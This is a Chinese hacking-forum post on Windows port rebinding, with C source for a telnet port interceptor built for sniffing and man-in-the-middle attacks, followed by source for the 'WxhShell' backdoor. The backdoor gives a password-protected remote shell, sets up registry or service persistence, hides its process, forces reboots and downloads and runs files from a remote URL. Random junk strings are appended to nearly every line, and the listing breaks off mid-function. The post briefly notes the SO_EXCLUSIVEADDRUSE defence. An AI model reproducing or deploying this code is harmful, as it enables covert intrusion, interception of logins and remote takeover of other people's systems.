社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 16978阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: \(^nSy&N  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); m0;CH/D0  
a@UZb  
  saddr.sin_family = AF_INET; ,l:ORoND  
t7j);W%e6  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); +oovx2r&  
~^r29'3  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); A Sk|A!  
nwF2aRNV  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 @c;|G$E@3  
J:V6  
  这意味着什么?意味着可以进行如下的攻击: 5',8 ziJQ  
)W;o<:x3  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 4;0lvDD  
]);%wy{Ho  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Hn%xDJ'  
(2^gVz=j  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 2[O&NdP\Zk  
/2=#t-p+  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  GycSwQ ,  
0+kH:dP{  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 I uMQ9 &  
}}\vV}s  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 =,_ +0M9  
LIvFx|  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 H1QJ k_RL  
iV*q2<>  
  #include 0Tx{3#  
  #include CzRc%%BA  
  #include hog=ut  
  #include    8o'_`{ba  
  DWORD WINAPI ClientThread(LPVOID lpParam);   3TY5;6  
  int main() l0PZ`m+;j  
  { ;h*K}U  
  WORD wVersionRequested; `Nb[G)Xh  
  DWORD ret; XkXHGDEf1  
  WSADATA wsaData; SEGri#s  
  BOOL val; B"TAjB& *  
  SOCKADDR_IN saddr; P(,p'I;j  
  SOCKADDR_IN scaddr; DVB{2~7 4  
  int err; -ZRO@&tMD  
  SOCKET s; N343qU  
  SOCKET sc; Q;43[1&3w  
  int caddsize; gy 3i+J  
  HANDLE mt;  a1t4Dd  
  DWORD tid;   P3)Nl^/  
  wVersionRequested = MAKEWORD( 2, 2 ); X\@C.H2ttY  
  err = WSAStartup( wVersionRequested, &wsaData ); YkniiB[/  
  if ( err != 0 ) { w35J.zn  
  printf("error!WSAStartup failed!\n"); {f2S/$q  
  return -1; w[S pw<Z  
  } ^=RffrlZU  
  saddr.sin_family = AF_INET; =u2l. CX  
   Y&d00  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 WJkZ!O$"j  
4W#vP  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); |Lf"6^@yh  
  saddr.sin_port = htons(23); rvbLyv;~  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) @|63K)Xy  
  { BGD8w2  
  printf("error!socket failed!\n"); ] 2eK  
  return -1; |"/8XA  
  } %_RQx2  
  val = TRUE; x7:s]<kE  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 C)@y5. G;  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) a!< 8\vzg  
  { si`A:14R  
  printf("error!setsockopt failed!\n"); 52 fA/sx  
  return -1; Crho=RJPR  
  } %|g>%D3Z?  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;  -QM: q  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 #h8Sq~0  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 zF8dKFE~  
:Q $K<)[  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 7VqM$I  
  { /%}*Xh  
  ret=GetLastError(); u09:Z{tL;@  
  printf("error!bind failed!\n"); -0$55pa/@:  
  return -1; >VP= MbN  
  } `\gnl'  
  listen(s,2); E*V`":efS  
  while(1) s.N7qO^:E  
  { K1r#8Q!t  
  caddsize = sizeof(scaddr); m#PY,y  
  //接受连接请求 Y^8C)p9r  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); K?B{rE Lp  
  if(sc!=INVALID_SOCKET) b\vKJ2  
  { )vjh~ybZ  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ;V*R*R  
  if(mt==NULL) }XV+gyG=@  
  { #(#Wv?r6  
  printf("Thread Creat Failed!\n"); 4e~A1-  
  break; #A1Z'y0  
  } %Y<|;0v  
  } R?~Yp?B^  
  CloseHandle(mt); )0"wB  
  } ,2j&ko1  
  closesocket(s); ?Z Rs\+{vG  
  WSACleanup(); 7 %Oa;]|  
  return 0; <>s`\ %  
  }   >}`:Ac  
  DWORD WINAPI ClientThread(LPVOID lpParam) &x[E;P*Fg  
  { }!"A!~&  
  SOCKET ss = (SOCKET)lpParam; P&9Gga^I  
  SOCKET sc; v 1z  
  unsigned char buf[4096]; Cjqklb/  
  SOCKADDR_IN saddr; Q&wB$*u  
  long num; v(B<Nb  
  DWORD val; ^W'fA{sr  
  DWORD ret; !%^^\,  
  //如果是隐藏端口应用的话,可以在此处加一些判断 z=rT%lz6  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   # {w9s 0:  
  saddr.sin_family = AF_INET; ZHU5SXu  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); [ oL.+  
  saddr.sin_port = htons(23); hU`wVy  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Gn|F`F  
  { M m[4yP%  
  printf("error!socket failed!\n"); 8oUpQcim  
  return -1; .y_/Uwu  
  } R:e<W/P"  
  val = 100; Hyb3 ;yQ  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) PD&\LbuG  
  { ORyE`h  
  ret = GetLastError(); Z*y`R XE  
  return -1; u [m  
  } T]t+E'sQ  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 2 ^mJ+v<  
  { o.w\l\  
  ret = GetLastError(); :=/85\P0SU  
  return -1; i@P)a'W_  
  } p2n0Z\2  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) @hJ%@(  
  { |]J>R  
  printf("error!socket connect failed!\n"); l>Z5 uSG  
  closesocket(sc); .z)%)PVV  
  closesocket(ss); w[9|cgCY  
  return -1; Bg&i63XL$$  
  } /2UH=Q!x4E  
  while(1) ;A|-n1e>Hc  
  { 4{hps.$?~  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 )~+E[|  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 +=q$x Ia  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Xf02"PXC  
  num = recv(ss,buf,4096,0); : >6F+XZ  
  if(num>0) MHh~vy'HB5  
  send(sc,buf,num,0); Wc,~{  
  else if(num==0) w.H%R-Be  
  break; OUeyklw  
  num = recv(sc,buf,4096,0); RIb4!!',c  
  if(num>0) )-0kb~;|  
  send(ss,buf,num,0); $nb[G$  
  else if(num==0) 3a?o3=  
  break; p[hZ@f(z  
  } b%<9Sn   
  closesocket(ss); &xa(BX%,c  
  closesocket(sc); .q%WuQw  
  return 0 ; B8B; y^b>i  
  } b4E:Wn9x  
lV1G<qP  
[`^a=:*  
========================================================== ,_Z5m;  
POdUV  
下边附上一个代码,,WXhSHELL }\HN&@  
&>%T^Y|J4  
========================================================== SnE(o)Q  
aa>xIW,u  
#include "stdafx.h" >#hO).`C  
FN\E*@>X=  
#include <stdio.h> 4 !y%O  
#include <string.h> jDy-)2<  
#include <windows.h> .2%zC & ;  
#include <winsock2.h> jUSmq m'  
#include <winsvc.h> Po ZuMF  
#include <urlmon.h> -u2P ?~  
SS$[VV  
#pragma comment (lib, "Ws2_32.lib") *a58ZI@  
#pragma comment (lib, "urlmon.lib") k p<OJy  
3[O=x XB  
#define MAX_USER   100 // 最大客户端连接数 pPcTrN'  
#define BUF_SOCK   200 // sock buffer |/09<F:L[  
#define KEY_BUFF   255 // 输入 buffer x$1]M DAGb  
0BIy>wy:  
#define REBOOT     0   // 重启 ;.TRWn#  
#define SHUTDOWN   1   // 关机 Q$HG  
&;D8]7d  
#define DEF_PORT   5000 // 监听端口 I_<I&{N>  
>sWp ?  
#define REG_LEN     16   // 注册表键长度 'yL%3h _@  
#define SVC_LEN     80   // NT服务名长度 Ag&0wN+jTM  
t^6dzrF  
// 从dll定义API XmEq2v  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); OY:,D  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Zn ''_fjh  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ~kZ G{  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); zx-81fx+k  
\De{9v  
// wxhshell配置信息 ~xD ={9BL  
struct WSCFG { ,wIONDnLZ  
  int ws_port;         // 监听端口 {5F-5YL+>  
  char ws_passstr[REG_LEN]; // 口令 ^ q<v{_  
  int ws_autoins;       // 安装标记, 1=yes 0=no :a$\/E=  
  char ws_regname[REG_LEN]; // 注册表键名 ~nrK>%  
  char ws_svcname[REG_LEN]; // 服务名 0URji~?|x  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 c&AygqN  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 (CsD*U`h  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 qMLD)rL  
int ws_downexe;       // 下载执行标记, 1=yes 0=no huJ&]"C  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" d5oIH  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 '=Rs/EDME  
Qk,I^1w?7  
}; ch0{+g&  
t0IEaj75c  
// default Wxhshell configuration <-[wd.M_  
struct WSCFG wscfg={DEF_PORT, pov)Z):}G<  
    "xuhuanlingzhe", gLy&esJl1  
    1, m06ALD_  
    "Wxhshell", {buo^kgj`]  
    "Wxhshell", @}@Z8$G^  
            "WxhShell Service", O*0l+mop  
    "Wrsky Windows CmdShell Service", YhDtUt}?  
    "Please Input Your Password: ", 8=gjY\Dp  
  1, M+w=O!dq  
  "http://www.wrsky.com/wxhshell.exe", ptU \[Tq  
  "Wxhshell.exe"  *T5!{  
    }; w]]8dz  
UPG9)aF  
// 消息定义模块 DP3PYJ%+B  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; BDR.AZ  
char *msg_ws_prompt="\n\r? for help\n\r#>"; mGJasn  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 3?1`D/  
char *msg_ws_ext="\n\rExit."; ;*:Pw?'  
char *msg_ws_end="\n\rQuit."; R'C2o]  
char *msg_ws_boot="\n\rReboot..."; eD*A )  
char *msg_ws_poff="\n\rShutdown..."; P;Ga4Q.  
char *msg_ws_down="\n\rSave to "; fpFhn  
R )mu2 ^  
char *msg_ws_err="\n\rErr!"; [uI|DUlI6o  
char *msg_ws_ok="\n\rOK!"; Bh;7C@dq  
8C67{^`::  
char ExeFile[MAX_PATH]; 9Hf9VC3   
int nUser = 0; v"#mzd.tW  
HANDLE handles[MAX_USER]; X22[tqg;&  
int OsIsNt; k +H3Bq  
(=* cK-3  
SERVICE_STATUS       serviceStatus; R,pX:H&#+  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; O"F_*  
k3) dEH1z  
// 函数声明 mg*qiScfW  
int Install(void); UFp,a0|  
int Uninstall(void); oxz OA  
int DownloadFile(char *sURL, SOCKET wsh); A'jP7 P  
int Boot(int flag); joiL{  
void HideProc(void); 2oNk 93D  
int GetOsVer(void); C/TF-g-_Y  
int Wxhshell(SOCKET wsl); e> (<eu~P  
void TalkWithClient(void *cs); TWQG591  
int CmdShell(SOCKET sock); f!!V${)X  
int StartFromService(void);  :}@g6   
int StartWxhshell(LPSTR lpCmdLine); E0MGRI"me  
_nbBIaHN{  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); :'~ Y  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); f;1K5Y  
@I_8T$N=  
// 数据结构和表定义 =8; {\  
SERVICE_TABLE_ENTRY DispatchTable[] = aC%m-m  
{ aVK3?y2  
{wscfg.ws_svcname, NTServiceMain}, D"ND+*Q [X  
{NULL, NULL} b\-&sM(W"  
}; f] J M /  
K }Vv4x1U  
// 自我安装 XqW@rU  
int Install(void) ]3KhgK%c8  
{ CS==A57I  
  char svExeFile[MAX_PATH]; l i0i"  
  HKEY key; ]>~)<   
  strcpy(svExeFile,ExeFile); M;p em<  
IHJ=i-  
// 如果是win9x系统,修改注册表设为自启动 /J:bWr  
if(!OsIsNt) { BV>\ McI+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @+ BrgZv`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?q; Fp  
  RegCloseKey(key); ReM=eS  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { S5G6Rj@W  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^xij{W`|  
  RegCloseKey(key); nij!1z|M  
  return 0; D"J!\_o  
    } #ZYVc|sT+  
  } 5ZMR,SZhC  
} G|( ]bvJ?  
else { j}~86JO+Cw  
$+>M{fg?  
// 如果是NT以上系统,安装为系统服务 BPdfYu ,il  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); o[cV1G  
if (schSCManager!=0) LAd\Tvms  
{ ZE2$I^DY-  
  SC_HANDLE schService = CreateService +;#Y]xy:  
  ( 7tcPwCc{  
  schSCManager, Kd=%tNp  
  wscfg.ws_svcname, ],RdySN&  
  wscfg.ws_svcdisp, K)\M5id]  
  SERVICE_ALL_ACCESS, " e}3:U5n  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , rfNm&!K  
  SERVICE_AUTO_START, :j]vf8ec  
  SERVICE_ERROR_NORMAL, l&?}hq^'Dn  
  svExeFile, [$ejp>'Ud  
  NULL, |b|&XB_<]Z  
  NULL, ) *,5"CO  
  NULL, wYQ&C{D%  
  NULL, tb$LriN  
  NULL brdmz}  
  ); 0 0 M@  
  if (schService!=0) `.x Fiyc  
  { A@sZ14+f  
  CloseServiceHandle(schService); 4Qo]n re!  
  CloseServiceHandle(schSCManager); R +WP0&d'  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); _ B 5gR  
  strcat(svExeFile,wscfg.ws_svcname); zJ)*Z,7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { D?0zhU  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 7LU}Iiv  
  RegCloseKey(key); \'CDRr"uw  
  return 0; 2EfF=Fm>  
    } S6AU[ASY.  
  } `~ * @q!  
  CloseServiceHandle(schSCManager); aEWWFN  
} 4( 1(e  
} ;~\MZYs3m  
[&nh5 |f  
return 1; DBCK2PlJ  
} S p^9& ^  
l"2OP6d  
// 自我卸载 `g6h9GC6  
int Uninstall(void) uvV;Mlo]  
{ v0YG,)_  
  HKEY key; R8T] 2?Q1  
bIEhgiH  
if(!OsIsNt) { !X<~-G2)l  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { mGGsB5#w>  
  RegDeleteValue(key,wscfg.ws_regname); T9u<p=p  
  RegCloseKey(key); QNxl/y\l0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $.GOZqMs  
  RegDeleteValue(key,wscfg.ws_regname); <]b7ZF]  
  RegCloseKey(key); Vgyew9>E  
  return 0; 6p?JAT5  
  } \@1=stK:F  
} &bp=`=*  
} e`v`XSA[p  
else { @$2))g`  
%o:2^5\W  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); I<8sI%,s  
if (schSCManager!=0) stk9Ah  
{ Vw&HVo  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); &ZX{R#[L  
  if (schService!=0) |)K]U  
  { h?FmBK'BAd  
  if(DeleteService(schService)!=0) { L[20m (6?  
  CloseServiceHandle(schService); NbGV1q']  
  CloseServiceHandle(schSCManager); |R#"Th6mH!  
  return 0; n Ml%'[u  
  } mK [0L  
  CloseServiceHandle(schService); KhW;RD  
  } }GZ}Q5  
  CloseServiceHandle(schSCManager); `p7&> BOA  
} K%Rj8J7|u?  
} \;mH(-  
!k/Pv\j/R  
return 1; Kbb78S30  
} =T7A]U]  
*s>BG1$<  
// 从指定url下载文件 't9hXzAfW  
int DownloadFile(char *sURL, SOCKET wsh) L   
{ ~2zM kVH  
  HRESULT hr; 0sh/|`\  
char seps[]= "/"; zWb4([P;  
char *token; Xj5~%DZp  
char *file; ?x0pe4^If  
char myURL[MAX_PATH]; ryc& n5  
char myFILE[MAX_PATH]; "n=vN<8(o  
n]u<!.X  
strcpy(myURL,sURL); yH<$k^0r*  
  token=strtok(myURL,seps); EgDQ+( -  
  while(token!=NULL) H=\!2XS  
  { )5.C]4jol  
    file=token; L:k9# 6  
  token=strtok(NULL,seps); %O<%UmR  
  } 8B#GbS K  
M!tXN&V]  
GetCurrentDirectory(MAX_PATH,myFILE); A?oXqb  
strcat(myFILE, "\\"); !Y:0c#MPH  
strcat(myFILE, file); -Z?Vd!H:  
  send(wsh,myFILE,strlen(myFILE),0); bQZ*r{g  
send(wsh,"...",3,0); QZ?=M@|f  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); W.1As{  
  if(hr==S_OK) C^z\([k0er  
return 0; 4j!]:ra  
else XK5<Tg  
return 1; >Z;jY*  
*\o/q[  
} 1<h>B:  
Vm|Y$ C  
// 系统电源模块 {" 4e+y  
int Boot(int flag) ad_`x  
{ 2]c {P\  
  HANDLE hToken; j}AFE  
  TOKEN_PRIVILEGES tkp; "9bN+1[<  
vi)%$~  
  if(OsIsNt) { PccB]  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); hG_?8:W8HT  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); gn{=%`[  
    tkp.PrivilegeCount = 1; @Kgl%[NmX  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 7 lo|dg80  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); QERU5|.wc  
if(flag==REBOOT) { 6y5A"-  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) thqS*I'#g  
  return 0; NKmoG\*  
} &l?+3$q  
else { B<~U3b  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) fof2 xcH!  
  return 0; Ol')7d&  
} o1/lZm{\~n  
  } uyF|O/FC  
  else { :vL1}H<  
if(flag==REBOOT) { 1H,g=Y4f%  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 7 ua6l[c  
  return 0; 8v)_6p(<x8  
} EOoZoVdzx  
else { O`$#Pg  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) zj|/ CxV  
  return 0; Y= 7%+WyD  
} P(>(K{v  
} iHp\o=#  
4"vaMa  
return 1; 2F8|I7R  
} ((rv]f{  
=]>NDWqpHN  
// win9x进程隐藏模块 =9LC<2  
void HideProc(void) f):~8_0b  
{ Xm4CKuU@  
 YOAn4]j  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); c:l]=O   
  if ( hKernel != NULL ) 3?E&}J<n  
  { yxBUj*3  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Q#Y k?Kv~  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); WM)F0@"  
    FreeLibrary(hKernel); #2tCV't  
  } ZE `lr+_Y  
==cd>03()  
return; %o}(sShS  
} {NCF6M k  
s(_+!d6  
// 获取操作系统版本 cW``M.d'F  
int GetOsVer(void) w#^U45y1v  
{ .!}hhiF,Z  
  OSVERSIONINFO winfo; {$M;H+Foh  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); T#O??3/%$1  
  GetVersionEx(&winfo); @:x"]!1  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) "*7C`y5&P  
  return 1; gq5qRi`q  
  else 1IgHc.s  
  return 0; )uLr?$qe  
} A7P`lJgv  
{5%/T,  
// 客户端句柄模块 zx1:`K0bi  
int Wxhshell(SOCKET wsl) d/7lefF  
{ (}:C+p 'I  
  SOCKET wsh; :Au /2  
  struct sockaddr_in client; )h^NR3N  
  DWORD myID; !CjqL~  
\Z/k;=Sla  
  while(nUser<MAX_USER) dZGbC9  
{ CDp8)=WJFF  
  int nSize=sizeof(client); ^t[HoFRa  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); +dkS/b  
  if(wsh==INVALID_SOCKET) return 1; ?G? gy2  
!6w{(Rc(C  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 0W>9'Rw  
if(handles[nUser]==0) (RXS~8  
  closesocket(wsh); {Ts:ZI+ 8d  
else ^^(<c,NX#M  
  nUser++; ;5 <-)  
  } 2:$ k  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 6(sIYZ2yq  
ad!(z[F'Y  
  return 0; ,M3z!=oIGn  
} z#<P} }  
i9UI,b%X  
// 关闭 socket LNQSb4  
void CloseIt(SOCKET wsh) wUi(3g|A  
{ sa1mC  
closesocket(wsh); v@G4G*x\  
nUser--; U '[?9/T  
ExitThread(0); 1h"_[`L'  
} #/j={*-  
Fu8 7fVi/\  
// 客户端请求句柄 }gsO&g"8  
void TalkWithClient(void *cs) "uu)2Xe  
{ 6kvV  
;Mj002.\G  
  SOCKET wsh=(SOCKET)cs; yZSvn[f  
  char pwd[SVC_LEN]; oTOfK}  
  char cmd[KEY_BUFF]; dm R3Y.\jd  
char chr[1]; !v !N>f4S$  
int i,j; iUr xJh  
dDKqq(9(`  
  while (nUser < MAX_USER) { L)-*,$#<oW  
n_$yV:MuT!  
if(wscfg.ws_passstr) { 6CNS%\A  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^{[`=P'/  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); U  5`y  
  //ZeroMemory(pwd,KEY_BUFF); @~jxG%y86  
      i=0; ~uPk  
  while(i<SVC_LEN) { >zL |8f  
7unA"9=[4V  
  // 设置超时 ccO aCr  
  fd_set FdRead; \_oy$>;  
  struct timeval TimeOut; Xa`(;CLW?  
  FD_ZERO(&FdRead); xaXV ^ZM3  
  FD_SET(wsh,&FdRead); MWq$AK]  
  TimeOut.tv_sec=8; Vdvx"s[`m  
  TimeOut.tv_usec=0; |l90g|isJ  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Sa] mm/ G  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); &]nd!N  
oA3d^%(c  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Mr6E/7g%  
  pwd=chr[0]; C<he4n.  
  if(chr[0]==0xd || chr[0]==0xa) { r#xk`a  
  pwd=0; ?^3B3qqh9  
  break; 'TEyP56  
  } R}J-nJlb  
  i++; 9YSVK\2$  
    }  3t  
;]h.m)~|  
  // 如果是非法用户,关闭 socket ,L-C(j  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 3.)_uo0;o  
} WbzA Jx 5  
`I> ], J/  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); _hoAW8i  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  ,o&<WMD  
'P/taEi=R  
while(1) { II#  
~yN(-I1P  
  ZeroMemory(cmd,KEY_BUFF); ZA.fa0n  
aBCOGtf  
      // 自动支持客户端 telnet标准   q<}PM  
  j=0; h Z#\t  
  while(j<KEY_BUFF) { -]&<Sr-  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0=m&^Jpp  
  cmd[j]=chr[0]; fI[dhd6  
  if(chr[0]==0xa || chr[0]==0xd) { A*Q[k 9B  
  cmd[j]=0; -HTL5  
  break; zjoo{IH}  
  } ,#%SK;1<  
  j++; 9}whWh  
    } &5/JfNe3  
wU0K3qZL  
  // 下载文件 Ak|b0l>^  
  if(strstr(cmd,"http://")) { UQdyv(jXq  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Bi_J5 If  
  if(DownloadFile(cmd,wsh)) 9&(.x8d,a  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,'-?:`hP'  
  else pU[K%@sC  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c+;S<g 0  
  } jmPp-} tS7  
  else { S%V%!803!  
nB}e1 /_y  
    switch(cmd[0]) { /a%KS3>V*  
  )GCLK<,swu  
  // 帮助 Et0&E  
  case '?': { y(a}IM3~  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 9R:(^8P8  
    break; VLd=" ~  
  } Rc%PZ}es  
  // 安装 fSC.+,qk  
  case 'i': { `g8tq  
    if(Install()) 3It8&x:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %f#\i#G<k  
    else Jh(mbD  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); QZYM9a>  
    break; sBB:$X  
    } }u7D9_KU  
  // 卸载 \"bLE0~  
  case 'r': { }JJ::*W2n  
    if(Uninstall()) Dzm qR0)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9>zDJx  
    else 8"pA9Mr  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "{6KZ!+0  
    break; +TWJNI  
    } 5YLho2h38!  
  // 显示 wxhshell 所在路径 5z[6rT=a  
  case 'p': { 7\ZL  
    char svExeFile[MAX_PATH]; .n=xbx:=  
    strcpy(svExeFile,"\n\r"); 2?pM5n  
      strcat(svExeFile,ExeFile); R''Sfz>8  
        send(wsh,svExeFile,strlen(svExeFile),0); ;>'SV~F  
    break; (aBP|rxg  
    } sK[Nti0  
  // 重启 0Sz/c+ 6  
  case 'b': { :!hk~#yvJ9  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); DMRs}Yz6  
    if(Boot(REBOOT)) vy:6_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `v<f}  
    else { 3V!W@[ }:  
    closesocket(wsh); @hBx, `H^  
